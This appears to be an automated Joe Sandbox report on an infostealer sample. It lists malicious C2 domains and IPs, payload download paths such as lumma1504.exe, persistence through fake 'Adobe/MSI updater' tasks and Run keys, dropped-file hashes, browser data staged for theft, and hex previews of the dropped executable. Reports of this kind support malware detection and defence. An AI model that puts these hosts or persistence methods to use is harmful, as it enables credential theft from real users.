https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	2q45IEa3Ee.exe, 00000000.00000003.1812931401.0000000005FE1000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1815262466.0000000005FFF000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000003.1811745370.0000000005FC0000.00000004.00000020.00020000.00000000.sdmp, _TP0jqeyFqX_Web Data.0.dr, PGpLy2WBlLFSWeb Data.0.dr, y_CqgZq8h7seWeb Data.0.dr	false		high
https://bordersoarmanusjuw.shop/apir	RegAsm.exe, 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp	false	13%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.189.66	bordersoarmanusjuw.shop	United States	13335	CLOUDFLARENETUS	true
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.26.5.15	db-ip.com	United States	13335	CLOUDFLARENETUS	false
193.233.132.253	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429253
Start date and time:	2024-04-21 15:30:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2q45IEa3Ee.exe renamed because original name is a hash value
Original Sample Name:	4a36fa7c0ccbc6842c541a6439ab545a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/30@3/4
EGA Information:	Successful, ratio: 87.5%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RegAsm.exe, PID 5900 because there are no executed function
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:31:20	Task Scheduler	Run new task: MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c HR path: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe
14:31:20	Task Scheduler	Run new task: MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c LG path: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe
14:31:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe
14:31:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe
15:31:20	API Interceptor	36x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.189.66	SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Get hash	malicious	LummaC	Browse
172.67.189.66	wZtUQNC2cO.exe	Get hash	malicious	LummaC	Browse
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
104.26.5.15	SecuriteInfo.com.Win64.Evo-gen.17494.7440.exe	Get hash	malicious	Unknown	Browse	api.db-ip.com/v2/free/127.0.0.1
	Nemty.exe	Get hash	malicious	Nemty	Browse	api.db-ip.com/v2/free/84.17.52.2/countryName
	227.exe	Get hash	malicious	Nemty	Browse	api.db-ip.com/v2/free/102.129.143.40/countryName
193.233.132.253	TANQUIVUIA.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	193.233.132.253/lumma1504.exe
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	193.233.132.253/lumma1104.exe
	80OrFCsz0u.exe	Get hash	malicious	GCleaner, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse	193.233.132.253/lumma1104.exe
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer	Browse	193.233.132.253/lumma1104.exe
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer	Browse	193.233.132.253/lumma1104.exe
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer	Browse	193.233.132.253/lumma1104.exe
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer	Browse	193.233.132.253/lumma1104.exe
	bX5uIt2kh3.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer	Browse	193.233.132.253:9091/static/lumma3.exe
	00eEcX26T5.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer	Browse	193.233.132.253:9091/static/lumma3.exe
	t6Vufjy8wo.exe	Get hash	malicious	RisePro Stealer	Browse	193.233.132.253:9091/static/lumma3.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bordersoarmanusjuw.shop	SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Get hash	malicious	LummaC	Browse	172.67.189.66
	TANQUIVUIA.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.21.9.123
	wZtUQNC2cO.exe	Get hash	malicious	LummaC	Browse	172.67.189.66
ipinfo.io	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	34.117.186.192
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	SenPalia.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SenPalia.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	W4tW72sfAD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.186.192
	s.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	s.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	s2dwlCsA95.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	Sp#U251c#U0434ti.exe	Get hash	malicious	DanaBot	Browse	34.117.186.192
db-ip.com	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.26.4.15
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	s2dwlCsA95.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse	104.26.5.15
	UeW2b6mU6Z.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	Q73YlTAmWe.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	34.117.186.192
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	http://134.213.29.14:82/grep.x86_64	Get hash	malicious	IPRoyal Pawns	Browse	34.117.121.53
	jNeaezBuo8.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	34.117.186.192
	74fa486WVX.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	34.117.186.192
	qk9TaBBxh8.exe	Get hash	malicious	LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	34.117.186.192
	SenPalia.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SenPalia.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	https://diversityjobs.com/employer/company/1665/Worthington-Industries-Inc	Get hash	malicious	Unknown	Browse	34.66.73.214
CLOUDFLARENETUS	Y98pGn3FUt.elf	Get hash	malicious	Mirai	Browse	172.66.48.103
	WjikmGPcSC.exe	Get hash	malicious	DCRat	Browse	172.67.186.200
	2FjvjcayaH.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	ValoClient.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.21.95.148
	qrLdMv1QXG.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	PASS-1234.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	https://www.sigtn.com/utils/emt.cfm?client_id=9195153&campaign_id=73466&link=aHR0cHM6Ly9saW5rLm1haWwuYmVlaGlpdi5jb20vbHMvY2xpY2s/dXBuPXUwMDEucklvcWRaR1R1SGJzNzQ0S21jWTQzbm9GN25FNXlXdTZFcUlEQ1JQVW5LVlRsVDF5N0p0RTVORGVVSmxOU254Uk82V2lWVzB6akF4aVNnRXQ4S0dzZUdDb3N4OE9CV0tIQ1VyMmlaRXQ0LTJCM2EtMkZuWXhLOHNYNW1IZ0ZPZFd1VHpnUmNyMHdMYk52c0NadXktMkZiSXRoVDI4bi0yRjdCUy0yQmVINGxDRVExVTQxQU5xSS0zRFhBa0FfdWpTUjJaZ1VvcFZ3R0Y1eWNMcm5nS0Y1andZVnZoMHVzbGExV2Z5ZUs2QXJvYzFDOXFaY3NKZHlBVHNhVnFnZmxkNjlSOE1FQ3J6dHdtVUw5QkliUXRiM1VjUEwxanplbGNyNG1jZGFhdlZNZFE0ejA0ZHFqRC0yRkR4RVlVV1lLM3BjNTBsREpndVd5Z0NZMEZ2LTJGdG9kUkpjSzNjRlYwcDdMYS0yQlh1NjRveEtqVkpFUkV3WGJSekN0dTlZazJBSmgwQVVNeUxiOTVXWlBiTmxOQjlmTXRhbm41aDY2eDByMm5nR2k5QmJkLTJCdWd1Ync2Z092blJheXlKLTJGYXB3eHBSSHpxZHZER21pREhpR09kemxvQVRJQWkxMWR5ZWhpazY3NDRzQ2E3dzl0MWZqU2JvTWpXd1dvdXlVaDJPd0VyLTJCOHJDZTB1VjF6clJDTi0yQjh6Z2R4Y1JibkZ1a3JtNGVJbU5WQUJnSFMtMkZ1S2RrUDdrZkUxUm9PWlVGdWU3bzZkLTJGY3FpMUx2VXVpbW9VbmxzMjRseXRVQzNQdUpiOVlDZ0Zoc29LRlZOMUxvZXloOFFGTERUaEN4VjE5UC0yRmxCWTRpZURUI2V4cGVkaXRpbmdAYmVpbi5jb20=	Get hash	malicious	Unknown	Browse	162.247.243.29
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
CLOUDFLARENETUS	Y98pGn3FUt.elf	Get hash	malicious	Mirai	Browse	172.66.48.103
	WjikmGPcSC.exe	Get hash	malicious	DCRat	Browse	172.67.186.200
	2FjvjcayaH.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	ValoClient.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.21.95.148
	qrLdMv1QXG.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
	PASS-1234.exe	Get hash	malicious	LummaC	Browse	104.21.11.250
	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	https://www.sigtn.com/utils/emt.cfm?client_id=9195153&campaign_id=73466&link=aHR0cHM6Ly9saW5rLm1haWwuYmVlaGlpdi5jb20vbHMvY2xpY2s/dXBuPXUwMDEucklvcWRaR1R1SGJzNzQ0S21jWTQzbm9GN25FNXlXdTZFcUlEQ1JQVW5LVlRsVDF5N0p0RTVORGVVSmxOU254Uk82V2lWVzB6akF4aVNnRXQ4S0dzZUdDb3N4OE9CV0tIQ1VyMmlaRXQ0LTJCM2EtMkZuWXhLOHNYNW1IZ0ZPZFd1VHpnUmNyMHdMYk52c0NadXktMkZiSXRoVDI4bi0yRjdCUy0yQmVINGxDRVExVTQxQU5xSS0zRFhBa0FfdWpTUjJaZ1VvcFZ3R0Y1eWNMcm5nS0Y1andZVnZoMHVzbGExV2Z5ZUs2QXJvYzFDOXFaY3NKZHlBVHNhVnFnZmxkNjlSOE1FQ3J6dHdtVUw5QkliUXRiM1VjUEwxanplbGNyNG1jZGFhdlZNZFE0ejA0ZHFqRC0yRkR4RVlVV1lLM3BjNTBsREpndVd5Z0NZMEZ2LTJGdG9kUkpjSzNjRlYwcDdMYS0yQlh1NjRveEtqVkpFUkV3WGJSekN0dTlZazJBSmgwQVVNeUxiOTVXWlBiTmxOQjlmTXRhbm41aDY2eDByMm5nR2k5QmJkLTJCdWd1Ync2Z092blJheXlKLTJGYXB3eHBSSHpxZHZER21pREhpR09kemxvQVRJQWkxMWR5ZWhpazY3NDRzQ2E3dzl0MWZqU2JvTWpXd1dvdXlVaDJPd0VyLTJCOHJDZTB1VjF6clJDTi0yQjh6Z2R4Y1JibkZ1a3JtNGVJbU5WQUJnSFMtMkZ1S2RrUDdrZkUxUm9PWlVGdWU3bzZkLTJGY3FpMUx2VXVpbW9VbmxzMjRseXRVQzNQdUpiOVlDZ0Zoc29LRlZOMUxvZXloOFFGTERUaEN4VjE5UC0yRmxCWTRpZURUI2V4cGVkaXRpbmdAYmVpbi5jb20=	Get hash	malicious	Unknown	Browse	162.247.243.29
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
FREE-NET-ASFREEnetEU	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	193.233.132.226
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	193.233.132.226
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	jNeaezBuo8.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	193.233.132.175
	74fa486WVX.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	193.233.132.234
	qk9TaBBxh8.exe	Get hash	malicious	LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	193.233.132.226
	s2dwlCsA95.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	SecuriteInfo.com.Win32.Evo-gen.29833.28353.exe	Get hash	malicious	Amadey	Browse	193.233.132.56
	SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Get hash	malicious	Amadey, RedLine, RisePro Stealer	Browse	193.233.132.167

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Pictures.com.exe	Get hash	malicious	DBatLoader	Browse	172.67.189.66 104.26.5.15 34.117.186.192
	2FjvjcayaH.exe	Get hash	malicious	LummaC	Browse	172.67.189.66 104.26.5.15 34.117.186.192
	qrLdMv1QXG.exe	Get hash	malicious	LummaC	Browse	172.67.189.66 104.26.5.15 34.117.186.192
	PASS-1234.exe	Get hash	malicious	LummaC	Browse	172.67.189.66 104.26.5.15 34.117.186.192
	file.exe	Get hash	malicious	LummaC	Browse	172.67.189.66 104.26.5.15 34.117.186.192
	file.exe	Get hash	malicious	LummaC	Browse	172.67.189.66 104.26.5.15 34.117.186.192
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	172.67.189.66 104.26.5.15 34.117.186.192
	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse	172.67.189.66 104.26.5.15 34.117.186.192
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.189.66 104.26.5.15 34.117.186.192
	file.exe	Get hash	malicious	LummaC	Browse	172.67.189.66 104.26.5.15 34.117.186.192

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	qk9TaBBxh8.exe	Get hash	malicious	LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	TANQUIVUIA.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse
C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	qk9TaBBxh8.exe	Get hash	malicious	LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	TANQUIVUIA.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe	qk9TaBBxh8.exe	Get hash	malicious	LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	TANQUIVUIA.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse

Created / dropped Files

C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	315904
Entropy (8bit):	7.9900301024348765
Encrypted:	true
SSDEEP:	6144:DVa+NrJiVBc2wc6oKXwdUWFQg1SGWEWAMiY7ivtaqgntTZXHAYq7:J1NrJaBcOOiHWEWAMFKtdstTfq
MD5:	C60F5FA3A579BCA2C8C377F7E15B2221
SHA1:	D44B5C6DD64284F00D6F9D05CF5327A91CAD9339
SHA-256:	F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7
SHA-512:	F419ADF4BD07CE18D9B7DE7445B2D0185653DE27738FD4403F880EE11BF49CA8A1958C1B2C94F8F4C5DA52EBC79462CFB6FE71849439F6AF017A95B44AF2F77B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Virustotal, Detection: 77%, Browse
Joe Sandbox View:	Filename: qk9TaBBxh8.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe, Detection: malicious, Browse Filename: TANQUIVUIA.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5..........."...0.............~2... ........@.. .......................@............`.................................,2..O............................ .......1..8............................................ ............... ..H............text...H.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................`2......H........$.................................................................]....0..#.........i. .......... .............+B.....- ....d....(....(...............+.......(...........o......X.. ....2.....+7. ....... ..............XX.. ....]...................X.. ....2........+f...+T..X ....].....X ....]...........&...................X ....]..........%G....a.R...X......i2....X.....2....................(....n .........%.....(..........0..H.........89.....P......%G ....X.R.P....

C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	315904
Entropy (8bit):	7.9900301024348765
Encrypted:	true
SSDEEP:	6144:DVa+NrJiVBc2wc6oKXwdUWFQg1SGWEWAMiY7ivtaqgntTZXHAYq7:J1NrJaBcOOiHWEWAMFKtdstTfq
MD5:	C60F5FA3A579BCA2C8C377F7E15B2221
SHA1:	D44B5C6DD64284F00D6F9D05CF5327A91CAD9339
SHA-256:	F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7
SHA-512:	F419ADF4BD07CE18D9B7DE7445B2D0185653DE27738FD4403F880EE11BF49CA8A1958C1B2C94F8F4C5DA52EBC79462CFB6FE71849439F6AF017A95B44AF2F77B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Virustotal, Detection: 77%, Browse
Joe Sandbox View:	Filename: qk9TaBBxh8.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe, Detection: malicious, Browse Filename: TANQUIVUIA.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5..........."...0.............~2... ........@.. .......................@............`.................................,2..O............................ .......1..8............................................ ............... ..H............text...H.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................`2......H........$.................................................................]....0..#.........i. .......... .............+B.....- ....d....(....(...............+.......(...........o......X.. ....2.....+7. ....... ..............XX.. ....]...................X.. ....2........+f...+T..X ....].....X ....]...........&...................X ....]..........%G....a.R...X......i2....X.....2....................(....n .........%.....(..........0..H.........89.....P......%G ....X.R.P....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AdobeUpdaterV202.exe.log

Download File

Process:	C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSIUpdaterV202.exe.log

Download File

Process:	C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\oRkIPIEeryat7GMgjkBr.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	315904
Entropy (8bit):	7.9900301024348765
Encrypted:	true
SSDEEP:	6144:DVa+NrJiVBc2wc6oKXwdUWFQg1SGWEWAMiY7ivtaqgntTZXHAYq7:J1NrJaBcOOiHWEWAMFKtdstTfq
MD5:	C60F5FA3A579BCA2C8C377F7E15B2221
SHA1:	D44B5C6DD64284F00D6F9D05CF5327A91CAD9339
SHA-256:	F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7
SHA-512:	F419ADF4BD07CE18D9B7DE7445B2D0185653DE27738FD4403F880EE11BF49CA8A1958C1B2C94F8F4C5DA52EBC79462CFB6FE71849439F6AF017A95B44AF2F77B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Virustotal, Detection: 77%, Browse
Joe Sandbox View:	Filename: qk9TaBBxh8.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Evo-gen.32634.31069.exe, Detection: malicious, Browse Filename: TANQUIVUIA.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5..........."...0.............~2... ........@.. .......................@............`.................................,2..O............................ .......1..8............................................ ............... ..H............text...H.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................`2......H........$.................................................................]....0..#.........i. .......... .............+B.....- ....d....(....(...............+.......(...........o......X.. ....2.....+7. ....... ..............XX.. ....]...................X.. ....2........+f...+T..X ....].....X ....]...........&...................X ....]..........%G....a.R...X......i2....X.....2....................(....n .........%.....(..........0..H.........89.....P......%G ....X.R.P....

C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\Desktop\2q45IEa3Ee.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
